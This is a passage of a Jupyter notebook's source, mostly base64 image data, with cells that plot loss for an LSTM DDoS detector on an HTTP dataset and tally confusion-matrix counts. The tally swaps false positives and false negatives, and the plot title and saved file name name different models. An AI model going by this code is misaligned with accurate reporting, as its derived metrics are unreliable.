Zu3cqECRMYPXo006dP58KFC2WJKYSoIxRVxRp7F0b2OWw7ll3zflCAlRaNAtgmhaJSlOuup//+979A2e56SktLY968eXzxxRcsWbKEhQsXkpycfE2b6dOns2rVqiLLn332WebMmUNcXBytWrXio48+Ks9nEkLUAVp4FKaoWGy7V6JfSLvm/a6tQzh2+hJnLkg3+fUqU6HQdZ24uDjuvvtu7rjjDn744QccDofLdeLj4+nZsyeBgYH4+PgwdOhQVq5cWaRNXFwcgwYNYvjw4UWWL1++nFatWmG320lLSyMgIKCcH0sIURd49bgNNBN5CV9c816X1iEA8vBdJSjTDHdz587lwIEDTJkyBV3XWbhwIXPmzOEvf/lLieukp6cTEhJS+Do0NJTdu4tOQDJ16lQAtm3bVmS52Wzm4MGD3HfffZhMJp544okyfyCA4GC/crW/WkiIf4XX9YSalLcmZYWalbcmZYXKzOvP+b4TyVzzX/zzUrFGti2yj6bh/iT+msnkEe0qvIe6e2x/U6ZCsX79er799lvMZjMA/fv3Z8yYMS4Lha7rKIpS+NowjCKvS9OmTRvi4+P58ssvmTFjBl9++WWZ1z17NqtCg4KFhPiTkVFzHtKpSXlrUlaoWXlrUlao/LxGk1hQPufMni14WYtO4dqxZTBxG46SfPQs9Xwt5d52XTm2qqq4/IJdpq4nwzAKiwSAxWIp8ro44eHhZGT8diEpIyOD0NDQUveVn5/PDz/8UPh6zJgxHDx4sCwxhRB1kGLxRg2KxJl27ciyXVqHYAA7k+Si9vUoU6GIjo7m1Vdf5fjx46SkpPDaa6/RunVrl+vExsaSkJBAZmYmubm5rF69mn79+pW6L5PJxN/+9jf27NkDwIoVK+jSpUtZYgoh6igtrBXOtMMYurPI8shQP0ICrXL303UqU6GYNWsWFy9eZNKkSdx2222cPXuWO+64w+U6YWFhzJgxg3vuuYdx48YxatQoYmJimDZtGomJiSWup2ka8+bN44UXXmDs2LGsWrWKV155pXyfSghRp2jhUeDIR89MLbJcURS6tA5h/9Fz5OS5vgFHlEwxKjjEYpcuXdi+fXtl56kUco2i+qlJWaFm5a1JWcE9efVLZ8he8CResXdh6XBzkfeSUy/w6ufbeHB0O3q2Dy/XduvKsa2UaxTFkSF8hRDVheIXjOJbv9jrFC0aB1DP1yLdT9ehwoWiPHcwCSGEOymKghYWhbOYqVLVy91PiUfOkm93FrO2KE2FC4UQQlQnWlgrjOxM9Kyz17zXpU0INrvO3l8zPZCs5nP5HEXnzp2LPXMwDIO8vGsH4hJCCE/RwqMAcKYlo/oFF3mvTWQgvlYT2w9lFD6xLcrOZaFYtuzawbaEEKI6UoMjwWTBeToJc8seRd4zaSodWzVgZ9IZHE4dkyadKeXhslA0bty4qnIIIcR1UVQTWmjLYi9oQ8EggfF7TnPw+HnaNw+q4nQ1m5RVIUStoYW1Qj+bUuwcFe2bB2Exq3L3UwVIoRBC1BpaWBQYOs70I9e8ZzFrxLQIZsehDHS5vb9cpFAIIWoNLawloJTY/dSldQgXsm0cOXGxaoPVcFIohBC1huLli1q/cbHPUwDEtGyApipsO5RexclqNikUQohaRQu/MkCgfs17PlYT7ZoFse1ghowuUQ5SKIQQtYoWFgX2XPRzJ4p9v2ubEM5cyCMlPauKk9VcUiiEELXKbw/eFd/91KlVAxQFtsvdT2UmhUIIUaso/iEo3gElXqcI8LUQFREot8mWgxQKIUStUjhAYFpyiW26tg7hREY2pzNzqjBZzSWFQghR62jhURiXMtBzzhf7/pXxnqT7qWykUAghah0trBVAid1PwfWsNAv3Z9tBKRRlIYVCCFHrqA2agWZ22f3UpXUIv566SOZFGQm7NFIohBC1jqKZ0EKal3hGAQW3yQLsSDpTVbFqLCkUQohaSQuPQj9zDMORX+z7DYN9aRjsw7aD8pR2aaRQCCFqpYIBAp04038tsU3XNiEcTDnPpRxbFSareaRQCCFqpcIL2iU8eAcF1ykMA3YmS/eTK1IohBC1kmL1Qw1s6PKCdtMwf4IDvNgudz+5JIVCCFFrXXnwzjCuHSAQCh7O69I6lL1HM8nNd1RxuppDCoUQotbSwqMgPxv9/KkS23RtE4LDaZB45GwVJqtZpFAIIWotLezyAIEubpNt1bgeAT5mefjOBSkUQohaS6kXhmL1d3mdQlUVOkWFsPvIWewOZxWmqzmkUAghaq2CAQJbubzzCQq6n/JtTvYePVdFyWoWKRRCiFpNDYvCuJCGnlvyPNltm9bH20uTu59K4NZCERcXx4gRIxgyZAjz588vsd3MmTNZtGhR4ett27Zx6623MnbsWKZMmcKJE8XPVCWEEKUpbSIjAJOm0rFVA3YkZeAsZgrVus5thSItLY158+bxxRdfsGTJEhYuXEhycvI1baZPn86qVauKLH/qqaeYPXs2S5cuZfTo0cyePdtdMYUQtZzWoCmoJpcXtAG6RIWQnefg0PHzVROsBnFboYiPj6dnz54EBgbi4+PD0KFDWblyZZE2cXFxDBo0iOHDhxcus9lsPPbYY0RHRwPQpk0bTp0q+dY2IYRwRTFZUEOaubygDXBDi2DMJpXth+Qp7d9zW6FIT08nJCSk8HVoaChpaWlF2kydOpWJEycWWWaxWBg7diwAuq7zz3/+k5tvvtldMYUQdYAW1go94yiGo+QxnbwsGh2aB7E9KQPdMKowXfVncteGdV1HUZTC14ZhFHldGpvNxjPPPIPD4eChhx4q176Dg/3K1f5qISH+FV7XE2pS3pqUFWpW3pqUFao+b3brGNJ2ryTAkYG1YXSJ7fp3a8K8Bds5n+ugTdMgQI4tuLFQhIeHs3Xr1sLXGRkZhIaGlmnd7Oxs/vCHPxAYGMh7772H2Wwu177Pns1C18v/jSAkxJ+MjEvlXs9TalLempQValbempQVPJNX944A4MyBXXhZG5fYrkWYL5qq8OOmYwT5mOvMsVVVxeUXbLd1PcXGxpKQkEBmZia5ubmsXr2afv36lWndp556iqZNm/L2229jsVjcFVEIUUeo3gEoAWHopTxP4Ws1E90kkG2HMjDc1P2kXzqDMzPVLdt2F7cVirCwMGbMmME999zDuHHjGDVqFDExMUybNo3ExMQS19u3bx8//vgj27dvZ/z48YwdO5Zp06a5K6YQoo7QwltdHiDQdQHo0iaU9HO5nDiTXekZDMMgd9Xb5Hz7PPmbv8Zw2it9H+7gtq4ngNGjRzN69Ogiyz744INr2r3++uuFf27Xrh0HDx50ZywhRB2khUXhOLQB40IaSmB4ie06RzXg81UH2X4wg87tGlZqBmdaEnpmKmqDZth2fo/j+G6sAx9EC4qs1P1UNnkyWwhRJ5TlwTuAQD8vWkbUY9uhyn9K275vLZi98Rn9LN5DH8PIvUDOor9h27Ucoxo/6CeFQghRJ6iBDcHLt9QH7wC6tg4hJT2L02crr/tJz72I48gWzK1jUcxemJp2xufW2ZiadCR/01fkLnsd/WL1HEJECoUQok5QFBUttGWpZxRQMEUqQEJi5T3saz/4C+gOzG0HFi5TvQOwDv4j1v5TcZ49Tva3z2M/sM5tF9Iryq3XKIQQojrRwqOwpezGyMtCsZZ8O2hIoDdNQv34eUcqDfwK7ry88hjYlefBFAUUriyk4E+Xl139yJiigGIY1NuzBj24FSfsAQTl2vHzNhduz9y6D1rDaPJ++pC8dR9jOrYDr773ovrUq+xDUCFSKIQQdUbhREZpyZiadnLZtnvbUL79+QhzFuy47v1Gm0/wB/8z/De9LTuStmDSVGI7hDO4eySNG/gCoPo3wHvUTOyJ/yN/y9c4v3kOr373Ym7W9br3f72kUAgh6gwttDkoGs60pFILxdAbm9C9QyMyM7MxAAwDAyjsFDLAKPi/guUFjbjSa2Rc1SZ891YcF/2IHT6CXorGvqOZbNhzmnW7TnJDi2CG3BhJu6b1URQVS8xQtIgO5K39N3mr38HRujfW2MkoFh93HJIykUIhhKgzFJMXaoOmZbqgbdJU2rcIJsP/+h761bPOkv3TfiwdR9K1bcHttt2iQxnfrwU/7TjBj9tPMPfLnUSE+DKkexN6tAvDHNQYn3HPY9u+FNvOZWSfPIC1/1RMjdpeV5aKkovZQog6RQtrhTPjVwyno0r2Z9//ExhgbntTkeX+PhZG927Om3+I5f4RBQXg4+X7eeq9eOI2/EpWvo5X91vwGfNXUE3kLptDXsIClwMbuoucUQgh6hQtPAr7ntXoZ4+hhbZ0674M3YH9wDq0JjGo/iHFtjGbVPrENKT3DeHsO3aO1ZtTWLz+V5YlHKP35esY4be8RP6mhdgTV+FMTcQ64KGCeTaqiBQKIUSdUvjg3ekktxcKx9HtGLkXsLQbUGpbRVFo3yyI9s2COHEmm/9tSeGXxNP8tPMkMS2DGdp9FK2adCJ/3cfkLH4JS9exWDqNRFE1t34GkK4nIUQdo/oEoviHlOk6xfWy71uL4heMFhFTrvUaN/Dl3uHRvPVwLOP6NOfoqYu8+eVOZv+Qx552f0Jr1hXb1kXkxL2GfiGt9A1eJykUQog6RwtrhTMtya0PtjnPn8R5cj/mtv1R1Ir9qg3wtTCmT3PefDiW+4ZHo+sG/159jL8ejGFfxC3o506S/e3z2Patcetnka4nIUSdo4VH4UhOwLiUgRJQtnlyysu+by2oGuY2ZZtewRWzSaNvx0b0iWnI3qOZrN6cwv/tttHAPJIHQ7YS9stnOI7twHnrnysh+bWkUAgh6pzCB+9OJ6G6oVAYjnzshzZgata1Up+uVhSFDs2D6dA8mNSMLP63JYU5e73paQphfMp20nZtwNyqd6Xt7wrpehJC1Dlq/cZg9i7TuE8V4UjeBLYczO0Glt64giJC/LhvRFvefLgPQd2G8YZzCoe92rtlX3JGIYSocxRVRQtrifN0slu2b9u/FrV+I7SGbdyy/avV87Uwrm8LxvVt4bapW+WMQghRJ2lhUejnTmDkV+5Mds6Mo+gZv2JuO6BwAMGaTgqFEKJOKniewsCZfrhSt2vftwZMFsytK/9agadIoRBC1ElaaAtQ1Ep9nsLIz8aevBFzq54eHcSvskmhEELUSYrZihociTOt8q5T2JPiwWlz60VsT5BCIYSos7SwKJzphzH06x8g0DAM7PvWooa0QGvQ7PrDVSNSKIQQdZYW1gocNvSzqde9LeepA+jnT5ZpXKeaRgqFEKLOKhwgsBKep7DvWwtevpha9rjubVU3UiiEEHWW6heM4ht03Re09ZzzOH7dhrl1HxTT9U10VB1JoRBC1GlaeNR1DxBoP7AODCeWtrWv2wmkUAgh6jgtLAoj+xxG1tkKrW/oOvYDP6M1bocaGF7J6aoHKRRCiDpNC28FUOHbZJ0puzCyzmKupWcTIIVCCFHHqUGRYPKq8HUK2761KD6BmJp1ruRk1YcUCiFEnaaoWsEAgRW480m/mIEzJRFzdD8UtfaOsSqFQghR52lhUeiZKRi23HKtZ9+/FhQwR9/kpmTVg9sLRVxcHCNGjGDIkCHMnz+/xHYzZ85k0aJFRZZ9/fXXPPPMM+6OKISo47SwVmCUb4BAw2nHfnA9piadUP2C3ZjO89xaKNLS0pg3bx5ffPEFS5YsYeHChSQnJ1/TZvr06axatapwWX5+Pm+99RavvvqqO+MJIQQAWlhLQCnXBW3Hr9sw8i7VunGdiuPWQhEfH0/Pnj0JDAzEx8eHoUOHsnLlyiJt4uLiGDRoEMOHDy9ctmXLFnRd56mnnnJnPCGEAECx+KAGRZTrgrZ93xqUgFC0CPfMKleduLVQpKenExISUvg6NDSUtLS0Im2mTp3KxIkTiyzr06cPM2fOxGq1ujOeEEIU0sKvDBCol9rWmZmK8/QhLG37oyi1/1KvWy/T67peZIYnwzCqZMan4GC/Cq8bEuJfiUncryblrUlZoWblrUlZoXrmvRR1Axn71lDPyMQrpHnh8uKyntn2C4pmJjx2OJpP9fos7ji2bi0U4eHhbN26tfB1RkYGoaGh7twlAGfPZqHr5X8c313zzbpLTcpbk7JCzcpbk7JC9c2re0cAcObALixaA6D4rIY9j6zdP2Fq3o3MbAWyq89nqeixVVXF5Rdst54zxcbGkpCQQGZmJrm5uaxevZp+/fq5c5dCCFEhin8DFJ/AUp+nsCdvBHseljpwEfsKtxaKsLAwZsyYwT333MO4ceMYNWoUMTExTJs2jcTERHfuWgghykVRFLSwVi4vaBdMTrQGNSgSNaxVFabzLMW4niETqynpeqp+alJWqFl5a1JWqN55bYmryE9YgO/keai+9a/J6kxLJmfpbLz63FMtzyhqZNeTEELUJFrY5YmMSjirsO1bC2Yr5la9qjKWx0mhEEKIy9QGTUCzFHudwsjLwnFkE+aoWBSLtwfSeY4UCiGEuExRTWihzYt9Qtt+aD04HZhr4ZzYpZFCIYQQV9HCotDPHMOw5xcuMwwd276f0MKi0IIiPZjOM6RQCCHEVbTwKDB0nBlHCpc5T+zDuJhWJ88mQAqFEEIUoV2+7fXqC9r2fWtRrP6YWnT3VCyPkkIhhBBXUbx8Ues3KrxOoWefw3FsB6bWfVA0s4fTeYYUCiGE+B0tLApnWjKGoWM/8DMYOpY62u0EUiiEEOIaWngU2HKwpR3DfuBntIgOqAHuH6euupJCIYQQv3PlwbvMtfMxss/VicmJXJFCIYQQv6MEhKJY/ck9sgPFNwhTk46ejuRRUiiEEOJ3FEUp6H4CzG1vQlE1DyfyLCkUQghRDC2iA4rZijn6Jk9H8Ti3TlwkhBA1lbltf8JvHERmVq0bYLvc5IxCCCGKoSgqmnfFp1WuTaRQCCGEcEkKhRBCCJekUAghhHBJCoUQQgiXpFAIIYRwSQqFEEIIl2rlcxSqqnhkXU+oSXlrUlaoWXlrUlaoWXlrUlaoWN7S1lEMw5CnSYQQQpRIup6EEEK4JIVCCCGES1IohBBCuCSFQgghhEtSKIQQQrgkhUIIIYRLUiiEEEK4JIVCCCGES1IohBBCuCSF4rK4uDhGjBjBkCFDmD9/vqfjuPTPf/6TkSNHMnLkSObMmePpOGX2xhtv8Mwzz3g6hktr1qxhwoQJDB8+nNmzZ3s6TqmWLl1a+HfhjTfe8HScYmVlZTFq1ChSU1MBiI+PZ/To0QwZMoR58+Z5OF1Rv8+6cOFCRo0axejRo3n22Wex2WweTljU7/Ne8fnnn3P33XdX3o4MYZw+fdoYMGCAce7cOSM7O9sYPXq0kZSU5OlYxdqwYYNx++23G/n5+YbNZjPuueceY/Xq1Z6OVar4+HijR48extNPP+3pKCU6fvy40adPH+PUqVOGzWYz7rjjDuOnn37ydKwS5eTkGN27dzfOnj1r2O1249ZbbzU2bNjg6VhF7Ny50xg1apTRvn17IyUlxcjNzTVuuukm4/jx44bdbjfuv//+anOMf5/1yJEjxuDBg41Lly4Zuq4bM2fOND755BNPxyz0+7xXJCUlGX379jXuuuuuStuXnFFQ8A2nZ8+eBAYG4uPjw9ChQ1m5cqWnYxUrJCSEZ555BovFgtlspmXLlpw8edLTsVw6f/488+bNY/r06Z6O4tL//vc/RowYQXh4OGazmXnz5tGxY0dPxyqR0+lE13Vyc3NxOBw4HA68vLw8HauIr776ilmzZhEaGgrA7t27adq0KZGRkZhMJkaPHl1t/q39PqvFYmHWrFn4+fmhKAqtW7euVv/Wfp8XwGaz8cILL/Doo49W6r5q5eix5ZWenk5ISEjh69DQUHbv3u3BRCWLiooq/PPRo0dZsWIFCxYs8GCi0r3wwgvMmDGDU6dOeTqKS8eOHcNsNjN9+nROnTpF//79efzxxz0dq0R+fn489thjDB8+HG9vb7p3706XLl08HauIV155pcjr4v6tpaWlVXWsYv0+a+PGjWncuDEAmZmZzJ8/n9dee80T0Yr1+7wAc+fO5ZZbbiEiIqJS9yVnFICu6yjKb8PsGoZR5HV1lJSUxP3338/MmTNp1qyZp+OU6Ouvv6Zhw4b06tXL01FK5XQ6SUhI4NVXX2XhwoXs3r2bxYsXezpWiQ4cOMC3337L2rVrWb9+Paqq8tFHH3k6lks18d9aWloaU6ZM4ZZbbqFHjx6ejlOiDRs2cOrUKW655ZZK37YUCiA8PJyMjIzC1xkZGUVO56qbbdu2ce+99/LnP/+Z8ePHezqOS8uXL2fDhg2MHTuWf/zjH6xZs4ZXX33V07GK1aBBA3r16kVQUBBWq5Wbb7652p5ZAvzyyy/06tWL4OBgLBYLEyZMYPPmzZ6O5VJN+7d2+PBhJk2axPjx43nkkUc8HcelZcuWkZSUxNixY3nuuefYs2dP5Z0RV9rVjhrsysXss2fPGjk5OcaYMWOMXbt2eTpWsU6ePGn06NHDiI+P93SUcvv222+r9cXsnTt3GkOHDjUuXLhgOBwO46GHHjK++uorT8cq0fr1640xY8YY2dnZhq7rxvPPP2/84x//8HSsYg0YMMBISUkx8vLyjH79+hlHjx41HA6H8cADDxjLly/3dLwirmS9dOmScdNNNxmLFy/2dCSXruS92saNGyv1YrZcowDCwsKYMWMG99xzD3a7nVtvvZWYmBhPxyrWRx99RH5+Pq+//nrhskmTJnHHHXd4MFXt0LFjR6ZOncqdd96J3W6nd+/ebjmNryx9+vRh3759TJgwAbPZzA033MCDDz7o6VgueXl58frrr/OnP/2J/Px8brrpJoYNG+bpWMX65ptvOHPmDJ988gmffPIJAAMHDuSxxx7zcLKqJzPcCSGEcEmuUQghhHBJCoUQQgiXpFAIIYRwSQqFEEIIl6RQCCGEcElujxWiHNq0aUPr1q1R1aLfsd59991KHzahTZs2JCQkEBQUVKnbFaK8pFAIUU6ffvqp/PIWdYoUCiEqyaZNm3jrrbdo1KgRR44cwWq18vrrr9OyZUsuXbrE3/72Nw4cOICiKPTt25cnnngCk8nErl27mD17Nrm5uZjNZmbOnFk4NtY777zDrl27OH/+PA888ACTJ0/28KcUdZEUCiHKacqUKUW6niIiInj33XcB2LNnD08//TTdunVjwYIFPPXUUyxatIjZs2cTGBhIXFwcdrudP/zhD3z88cfcd999PPLII8yePZv+/fuzZ88enn32WZYuXQpAZGQks2bNYt++fdx+++3cdtttmM1mj3xuUXdJoRCinFx1PUVHR9OtWzcAbrnlFl566SXOnTvHunXrWLBgAYqiYLFYmDRpEp9++im9e/dGVVX69+8PQIcOHYiLiyvc3qhRowBo27YtNpuNrKws6tev794PKMTvyF1PQlQiTdOKXfb74bV1XcfhcKBp2jXDbB86dAiHwwGAyVTwXe5KGxlxR3iCFAohKtGBAwc4cOAAUDDfcufOnQkICKBPnz58/vnnGIaBzWbjq6++IjY2lhYtWqAoChs2bABg7969TJkyBV3XPfkxhChCup6EKKffX6MAeOKJJ7BarTRo0IC3336bEydOEBQUxJw5cwB47rnnmD17NqNHj8Zut9O3b1+mT5+OxWLhnXfe4dVXX2XOnDmYzWbeeecdLBaLJz6aEMWS0WOFqCSbNm3i5ZdfZtmyZZ6OIkSlkq4nIYQQLskZhRBCCJfkjEIIIYRLUiiEEEK4JIVCCCGES1IohBBCuCSFQgghhEtSKIQQQrj0/wG2DOolbvn5iAAAAABJRU5ErkJggg==\n",
394 | "text/plain": [
395 | ""
396 | ]
397 | },
398 | "metadata": {},
399 | "output_type": "display_data"
400 | }
401 | ],
402 | "source": [
403 | "# Plot training & validation loss values\n",
404 | "plt.plot(history.history['loss'])\n",
405 | "plt.plot(history.history['val_loss'])\n",
406 | "plt.title('LSTM DDoS loss in HTTP Dataset ')\n",
407 | "plt.ylabel('Loss')\n",
408 | "plt.xlabel('Epoch')\n",
409 | "plt.legend(['Train', 'Test'], loc='upper left')\n",
410 | "plt.savefig('BRNN Model Loss.png')\n",
411 | "plt.show()"
412 | ]
413 | },
414 | {
415 | "cell_type": "code",
416 | "execution_count": 23,
417 | "id": "be20e157",
418 | "metadata": {},
419 | "outputs": [
420 | {
421 | "name": "stdout",
422 | "output_type": "stream",
423 | "text": [
424 | "263/263 [==============================] - 2s 5ms/step\n"
425 | ]
426 | }
427 | ],
428 | "source": [
429 | "predict = model.predict(X_test, verbose=1)"
430 | ]
431 | },
432 | {
433 | "cell_type": "code",
434 | "execution_count": 24,
435 | "id": "58f2a8f7",
436 | "metadata": {},
437 | "outputs": [],
438 | "source": [
439 | "tp = 0\n",
440 | "tn = 0\n",
441 | "fp = 0\n",
442 | "fn = 0\n",
443 | "predictn = predict.flatten().round()\n",
444 | "predictn = predictn.tolist()\n",
445 | "Y_testn = Y_test.tolist()\n",
446 | "for i in range(len(Y_testn)):\n",
447 | " if predictn[i]==1 and Y_testn[i]==1:\n",
448 | " tp+=1\n",
449 | " elif predictn[i]==0 and Y_testn[i]==0:\n",
450 | " tn+=1\n",
451 | " elif predictn[i]==0 and Y_testn[i]==1:\n",
452 | " fp+=1\n",
453 | " elif predictn[i]==1 and Y_testn[i]==0:\n",
454 | " fn+=1"
455 | ]
456 | },
457 | {
458 | "cell_type": "code",
459 | "execution_count": 25,
460 | "id": "ffda0035",
461 | "metadata": {},
462 | "outputs": [
463 | {
464 | "data": {
465 | "image/png": "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